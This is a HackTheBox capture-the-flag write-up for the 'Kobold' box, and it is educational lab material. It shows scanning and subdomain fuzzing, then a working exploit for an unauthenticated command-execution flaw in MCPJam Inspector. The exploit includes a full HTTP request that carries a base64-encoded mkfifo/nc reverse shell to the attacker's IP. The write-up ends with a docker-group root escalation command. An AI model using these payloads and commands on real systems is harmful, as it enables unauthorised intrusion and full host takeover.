HTB: Kobold
Introduction
Greetings! Today, we're diving into Kobold, a box from HackTheBox.
Our journey begins with web enumeration that uncovers two interesting subdomains: mcp.kobold.htb and bin.kobold.htb. The mcp subdomain hosts MCPJam Inspector, a web interface for connecting to and testing Model Context Protocol servers. We exploit CVE-2026-23744, a vulnerability in MCPJam Inspector where the serverConfig parameter accepts a command and args field that are passed directly to the system without sanitisation — giving us unauthenticated Remote Code Execution. We confirm it with a ping callback and then catch a reverse shell as ben.
The privilege escalation is straightforward: ben is a member of the docker group. We spin up a container with the host filesystem mounted and chroot into it, landing a root shell and reading the flag.
Without further ado, let's get into it.
Scanning
We ran a full TCP port scan with nmap.
┌──(kali㉿kali)-[~/Documents/htb/kobold]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.43.163
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 15:06 EDT
Nmap scan report for 10.129.43.163
Host is up (0.053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Sat, 21 Mar 2026 19:06:45 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
| <link rel="modu
| HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Sat, 21 Mar 2026 19:06:46 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_ <link rel="modu
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3552-TCP:V=7.95%I=7%D=3/21%Time=69BEEC54%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sat,\x2021\x20
SF:Mar\x202026\x2019:06:45\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
SF:l=\"modu")%r(HTTPOptions,8FF,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\
SF:x20bytes\r\nCache-Control:\x20no-cache,\x20no-store,\x20must-revalidate
SF:\r\nContent-Length:\x202081\r\nContent-Type:\x20text/html;\x20charset=u
SF:tf-8\r\nExpires:\x200\r\nPragma:\x20no-cache\r\nDate:\x20Sat,\x2021\x20
SF:Mar\x202026\x2019:06:46\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=\"%lang%\">\n\t<head>\n\t\t<meta\x20charset=\"utf-8\"\x20/>\n\t\t<meta
SF:\x20http-equiv=\"Cache-Control\"\x20content=\"no-cache,\x20no-store,\x2
SF:0must-revalidate\"\x20/>\n\t\t<meta\x20http-equiv=\"Pragma\"\x20content
SF:=\"no-cache\"\x20/>\n\t\t<meta\x20http-equiv=\"Expires\"\x20content=\"0
SF:\"\x20/>\n\t\t<link\x20rel=\"icon\"\x20href=\"/api/app-images/favicon\"
SF:\x20/>\n\t\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1,\x20maximum-scale=1,\x20viewport-fit=cover\"\x20/>\
SF:n\t\t<link\x20rel=\"manifest\"\x20href=\"/app\.webmanifest\"\x20/>\n\t\
SF:t<meta\x20name=\"theme-color\"\x20content=\"oklch\(1\x200\x200\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20light\)\"\x20/>\n\t\t<meta\x20name=\"
SF:theme-color\"\x20content=\"oklch\(0\.141\x200\.005\x20285\.823\)\"\x20m
SF:edia=\"\(prefers-color-scheme:\x20dark\)\"\x20/>\n\t\t\n\t\t<link\x20re
SF:l=\"modu");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.22 seconds
Four open ports: SSH on 22, nginx redirecting HTTP to HTTPS on 80/443, and a Go-based HTTP server on 3552. The wildcard SAN (*.kobold.htb) in the SSL certificate tells us there are subdomains worth hunting for.
Enumerating web
Subdomain Enumeration
We ran wfuzz and ffuf against the HTTPS vhost to find subdomains.
┌──(kali㉿kali)-[~/Documents/htb/kobold]
└─$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.kobold.htb' -u https://10.129.43.163 -fw 4
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://10.129.43.163
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.kobold.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 61ms]
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 121ms]
:: Progress: [114442/114442] :: Job [1/1] :: 743 req/sec :: Duration: [0:02:40] :: Errors: 0 ::
Two subdomains surfaced: mcp.kobold.htb and bin.kobold.htb. We added both to our hosts file.
bin.kobold.htb appeared to be a PrivateBin instance — a self-hosted pastebin. Interesting, but nothing immediately exploitable.
mcp.kobold.htb
Navigating to mcp.kobold.htb reveals MCPJam Inspector — a web interface for connecting to and testing Model Context Protocol servers. MCP is a protocol used by AI assistants to communicate with external tools and data sources. This particular application is affected by CVE-2026-23744.
The interface accepts a server configuration object that includes a command, args, and env — essentially specifying a process to spawn on the backend. This immediately raised flags.
CVE-2026-23744 — MCPJam Inspector RCE
CVE-2026-23744 is a vulnerability in MCPJam Inspector where the /api/mcp/connect endpoint takes a user-supplied serverConfig JSON object and passes the command and args fields directly to the system to spawn an MCP process. Since there's no sanitisation or allowlisting on these fields, we can specify any binary and arguments we like — effectively turning the inspector into an unauthenticated remote command execution interface.
We tested with a ping to confirm outbound connectivity.
POST /api/mcp/connect HTTP/1.1
Host: mcp.kobold.htb
Cookie: ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019d1219-0c67-7cd9-bb3b-76802cededcd%22%2C%22distinct_id%22%3A%22019d1219-0c67-7cd9-bb3b-76802cededcd%22%2C%22%24sesid%22%3A%5B1774125349171%2C%22019d1219-0d81-7aa6-9cba-de632466fb20%22%2C1774125124982%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22https%3A%2F%2Fmcp.kobold.htb%2F%22%7D%7D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mcp.kobold.htb/
Content-Type: application/json
Sentry-Trace: cf58ed65f05a46858cb4218c86205736-8ccfb52847f74a7b-0
Baggage: sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b83136df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=cf58ed65f05a46858cb4218c86205736,sentry-sample_rate=0.1,sentry-sampled=false
Content-Length: 127
Origin: https://mcp.kobold.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"serverConfig": {"command": "sh", "args": ["-c", "ping -c4 10.10.14.22"], "env": {"DISPLAY": ":0.0"}}, "serverId": "rce_test"}
The response came back as a 500 (the MCP handshake obviously doesn't complete for a ping command), but our listener told a different story.
┌──(kali㉿kali)-[~/…/htb/kobold/exploits/CVE-2026-23744-PoC]
└─$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:36:28.314892 IP kobold.htb > 10.10.14.22: ICMP echo request, id 14732, seq 1, length 64
16:36:28.317647 IP 10.10.14.22 > kobold.htb: ICMP echo reply, id 14732, seq 1, length 64
16:36:29.317272 IP kobold.htb > 10.10.14.22: ICMP echo request, id 14732, seq 2, length 64
16:36:29.317299 IP 10.10.14.22 > kobold.htb: ICMP echo reply, id 14732, seq 2, length 64
16:36:30.318123 IP kobold.htb > 10.10.14.22: ICMP echo request, id 14732, seq 3, length 64
16:36:30.318150 IP 10.10.14.22 > kobold.htb: ICMP echo reply, id 14732, seq 3, length 64
16:36:31.329555 IP kobold.htb > 10.10.14.22: ICMP echo request, id 14732, seq 4, length 64
16:36:31.329607 IP 10.10.14.22 > kobold.htb: ICMP echo reply, id 14732, seq 4, length 64
RCE confirmed. We upgraded to a reverse shell using a base64-encoded payload.
Shell as ben
POST /api/mcp/connect HTTP/1.1
Host: mcp.kobold.htb
Cookie: ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019d1219-0c67-7cd9-bb3b-76802cededcd%22%2C%22distinct_id%22%3A%22019d1219-0c67-7cd9-bb3b-76802cededcd%22%2C%22%24sesid%22%3A%5B1774125349171%2C%22019d1219-0d81-7aa6-9cba-de632466fb20%22%2C1774125124982%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22https%3A%2F%2Fmcp.kobold.htb%2F%22%7D%7D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mcp.kobold.htb/
Content-Type: application/json
Sentry-Trace: cf58ed65f05a46858cb4218c86205736-8ccfb52847f74a7b-0
Baggage: sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b83136df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=cf58ed65f05a46858cb4218c86205736,sentry-sample_rate=0.1,sentry-sampled=false
Content-Length: 231
Origin: https://mcp.kobold.htb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"serverConfig": {"command": "sh", "args": ["-c", "echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMjIgOTAwMSA+L3RtcC9m | base64 -d | bash"], "env": {"DISPLAY": ":0.0"}}, "serverId": "rce_test"}
We landed a shell as ben — the user running the MCP inspector node process.
┌──(kali㉿kali)-[~/…/htb/kobold/exploits/CVE-2026-23744-PoC]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.43.163] 60322
bash: cannot set terminal process group (1499): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
Privilege escalation
The first thing we checked after landing was ben's group memberships.
ben@kobold:/privatebin-data$ id id
id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
ben@kobold:/privatebin-data$
ben is in the docker group. This is a well-known privilege escalation path — members of the docker group can start containers with arbitrary mounts, including the host root filesystem, and chroot into them as root.
We pulled up a Docker image already present on the host and mounted / into the container.
ben@kobold:/privatebin-data$ docker run -it --rm -v /:/hostfs mydocker run -it --rm -v /:/hostfs mysql chroot /hostfs /bin/bash
docker run -it --rm -v /:/hostfs mysql chroot /hostfs /bin/bash
root@614790c09cd4:/#
We were immediately dropped into a root shell with the host filesystem as our /. The root flag was sitting on the desktop.
root@614790c09cd4:/# cd /root
root@614790c09cd4:~# cat root.txt
<REDACTED>
CONCLUSION
In summary, mcp.kobold.htb ran MCPJam Inspector, vulnerable to CVE-2026-23744, which blindly passed user-supplied command and args values to the system, giving us unauthenticated command execution with no authentication required. A single crafted POST request was enough to land a reverse shell as ben.
Privilege escalation was a direct consequence of ben being in the docker group. By mounting the host root into a container and using chroot, we gained full root access to the underlying system in seconds.
That wraps up Kobold. Thanks for reading, and I'll see you in the next one!